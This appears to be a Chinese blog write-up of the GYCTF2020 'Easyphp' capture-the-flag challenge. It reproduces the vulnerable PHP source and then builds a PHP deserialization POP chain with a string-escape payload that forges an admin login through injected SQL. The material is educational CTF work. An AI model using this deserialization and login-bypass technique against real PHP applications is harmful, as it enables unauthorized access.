首页 > 编程语言 >代码审计[二] [GYCTF2020]Easyphp

代码审计[二] [GYCTF2020]Easyphp

时间:2024-10-13 20:59:35浏览次数:8  
标签:审计 Info function age GYCTF2020 id Easyphp nickname public

代码审计

做的好难受的一道反序列化

[GYCTF2020]Easyphp

参考[GYCTF2020]Easyphp-CSDN博客

查看整个网站,尝试弱口令登录,不行。猜网页,register、upload都试了一下,发现www.zip可以下载网页源码。

login.php

<?php
require_once('lib.php');
?>
<?php 
$user=new user();
if(isset($_POST['username'])){
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
		die("<br>Damn you, hacker!");
	}
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
		die("Damn you, hacker!");
	}
	$user->login();
}
?>

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}

?>

lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

index.php

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

看着wp都卡半天,太难看了。

前置知识:

image-20241009164146518

1. SQL 查询准备

$sql = 'select id,password from user where username=?';
  • 这行代码定义了一个 SQL 查询,用于从数据库中选择用户的 idpassword,条件是 username 等于某个值。
  • ? 是一个占位符,用于在后续步骤中安全地插入用户输入,防止 SQL 注入攻击。

2. 预编译 SQL 查询

$result = $this->mysqli->prepare($sql);
  • 使用 $this->mysqli->prepare($sql) 方法预编译 SQL 查询,这是一种防止 SQL 注入的安全机制。这里假设 $this->mysqli 是当前类中的一个已初始化的 MySQLi 数据库连接实例。
  • 预编译查询会为之后的参数绑定做准备。

3. 绑定参数

$result->bind_param('s', $this->name);
  • 通过 bind_param('s', $this->name) 方法,将用户名绑定到 SQL 查询中的占位符 ?
  • 's' 表示绑定的参数是一个字符串类型。
  • $this->name 是当前对象的属性,假设是用户输入的用户名。

4. 执行查询

$result->execute();
  • 调用 execute() 方法来执行预编译的查询。

5. 绑定查询结果

$result->bind_result($idResult, $passwordResult);
  • bind_result() 方法用于将查询返回的结果绑定到两个变量 $idResult$passwordResult
    • $idResult:用户的 ID。
    • $passwordResult:用户的密码(通常是散列值)。

6. 获取查询结果

$result->fetch();
  • 调用 fetch() 方法,执行查询并将结果赋值到前面绑定的变量中 $idResult$passwordResult
  • 这一步从数据库中提取一行数据。

解题

然后就是按着wp答案来解释答案的过程:

首先说是将sql语句构造如下

select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?

这样子做的原因是为了给这条代码铺路$result->bind_result($idResult, $passwordResult);

他能将返回的内容绑定给$idResult, $passwordResult

然后看回来sql语句,那个问号是个占位符。$result->bind_param('s', $this->name);这条将$name绑定给占位符,而在后续的pop链构造里,$name会被赋值为admin。这样子整条sql操作的流程就是

select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username='admin'

返回来的两个参数分别赋值给$idResult、$passwordResult($idResult=1,$passwordResult="c4ca4238a0b923820dcc509a6f75849b" 这串md5是1的md5值)

来绕过以下代码,此时User类中的$this->id为真,$_SESSION['login']=1。(后续好像是随便输东西就能进?)此时只要输入用户名admin,密码1即可登录进去得到flag(update.php的逻辑是这样的)

        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }

那现在开始就是找入口,传入数据有两个地方,一个是login.php一个是update.php。

但是通过分析login.php中可以发现他先new了一个user类并且触发了login方法,并且传入dbCtrl类中的login方法(做数据库查询),其中这个sql语句可以看出来是定死的,数据不可控,是条死路。

接着就是看到update.php可以发现他同样是new了一个user类,但是触发的是其中的update方法。

前面几步都是将$age和$nickname实例化,然后就进入new UpdateHelper环节,开始pop触发

    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

整个pop流程是

UpdateHelper::__desturce(sql = new User()) => User::__toString(nickname = new Info()) => Info::__call(CtrlCase = new dbCtrl()) => login()

链子的末端一定要是dbCtrl() => login()同时login()的参数需要可控,反着来看这串pop链

需要可控的变量是$argument

 public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }

而他的参是由user类的$this->age传来的,需要注入的地方就放在了这里。可以控制user类的$age来执行注入

    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }

开始构造pop链(抄来的T_T)

<?php
class User
{
    public $age = null;
    public $nickname = null;
    public function __construct()
    {
        $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        $this->nickname = new Info();
    }
}
class Info
{
    public $CtrlCase;
    public function __construct()
    {
        $this->CtrlCase = new dbCtrl();
    }
}
class UpdateHelper
{
    public $sql;
    public function __construct()
    {
        
        $this->sql = new User();
    }
}
class dbCtrl
{
    
    public $name = "admin";
    public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);
//O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

看回触发反序列化的点

  public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

上面先是序列化了一个Info类,并且让他经过safe函数过滤危险字符,再拿去反序列化。我们可以通过特定字符实现字符自增,来挤出需要的恶意代码。同时我们要将pop的链子构造成Info类中元素的样子

先拿个简单的来构造下

<?php
class Info{
    public $age='1';
    public $nickname='test';
    public $CtrlCase;
}
$o = new Info();
echo serialize($o);
//O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:4:"test";s:8:"CtrlCase";N;}

通过控制截断

";s:8:"CtrlCase";N;} + payload,最终输出:

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:263:"";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";N;}

可以看到我们需要逃逸263个字符,而union->hacker会自增1个字符,263个union就能成功挤出恶意payload。263×union+payload=1578个字符

最终形成如下

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1578:"unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

update.php页面传入的payload

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

标签:审计,Info,function,age,GYCTF2020,id,Easyphp,nickname,public
From: https://www.cnblogs.com/ethereal258/p/18462967

相关文章

  • OFcms代码审计
    前言今天看到一篇审计Java的文章,于是在没有继续系统学习基础的情况下,又一次当其搬运工,打算熟悉熟悉java项目搭建流程,然后再跟着过一下Java代码审计流程,全文除搭建的坑,其余漏洞代码分析均CV大佬思路。。。环境搭建源码地址:https://gitee.com/oufu/ofcms环境依赖:a.建议采用i......
  • RBAC管理系统审计记录
    RBAC管理系统审计记录环境搭建环境依赖Windowsidea2022jdk8RBAC源码phpstudy的mysql5.6.7简易搭建流程(Windows下)直接使用idea打开项目,然后选中右上角的项目构建项目中有几处需要修改:○1、要开启phpstudy的mysql,然后创建rbac数据库,并将源码中的rbac.sql数据导入......
  • Hello-Java-Sec 项目 (代码审计)
    一、项目背景:Hello-Java-Sec项目为Github中一个面向安全开发的Java漏洞代码审计靶场。靶场地址:https://github.com/j3ers3/Hello-Java-Sec本地使用idea部署即可二、代码审计:通过阅读代码可知,代码采用@RequestMapping注解的方式来处理HTTP不同方法的请求,故采用全局搜......
  • 新一代 Java 代码审计工具—铲子 SAST
     .产品定位铲子SAST是一款简单易用的JAVASAST(静态应用程序安全测试)工具,旨在为安全工程师提供一款简单、好用、价格厚道的代码安全扫描产品。一分钟即可完成安装|一个按钮创建扫描任务|一键查看漏洞数据流支持主流的java开发框架| 采用轻量、快捷的污点分析|支......
  • 【PHP代码审计】文件上传
    一、认识上传漏洞文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力,这种攻击方式是最直接和有效的文件上传本身是没问题的,有问题的是文件上传后,服务器怎么处理,解析文件。通过服务器的处理逻辑做的不够安全,则会导致上传漏洞。二、上......
  • 【PHP代码审计】命令执行
    RemoteCodeExecute远程代码执行原理:应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。函数eval()//把字符串作为PHP代码执行assert()//检查一个断言是否为FALSE,可用来执行代码preg_replace()//......
  • 【PHP代码审计】文件包含漏洞
    文件包含原理文件包含是因为服务器端某些程序对用户提交参数过滤不当造成的该程序一般具有以读取方式输出文件内容或者下载文件,前者也可以叫做任意文件读取,两者本质上是一样的。通常在以下情况下存在该漏洞。文件包含函数include()include_once()require()require_once()fo......
  • 【PHP代码审计】危险函数
    什么是危险函数?函数设计出来就是让人使用的,之所以危险,是因为其功能过于强大,开发人员特别是刚从业的人员很少会完整阅读完整个文档,再或者是没有意识到当给这些函数传递一些非常规的,外部可控的参数会带来什么影响。$GET//数组,存放着所有通过URL参数传递的数$POST//数组,......
  • 【PHP代码审计】过滤函数
    一、SQL过滤函数addslashes()stripslashes()addcslashes()stripcslashes()mysql_escape_string()mysql_real_escape_string()PHP魔术引号Addslashes()返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号()、双引号(”)、反斜线()......
  • phpvulhunter工具:静态 php 代码审计
    phpvulhunter是一款PHP源码自动化审计工具,通过这个工具,可以对一些开源CMS进行自动化的代码审计,并生成漏洞报告。1、安装首先从github上进行获取:gitclonehttps://github.com/OneSourceCat/phpvulhunter2、下载完成后,将工程目录放置于WAMP等PHP-Web运行环境中即可。访......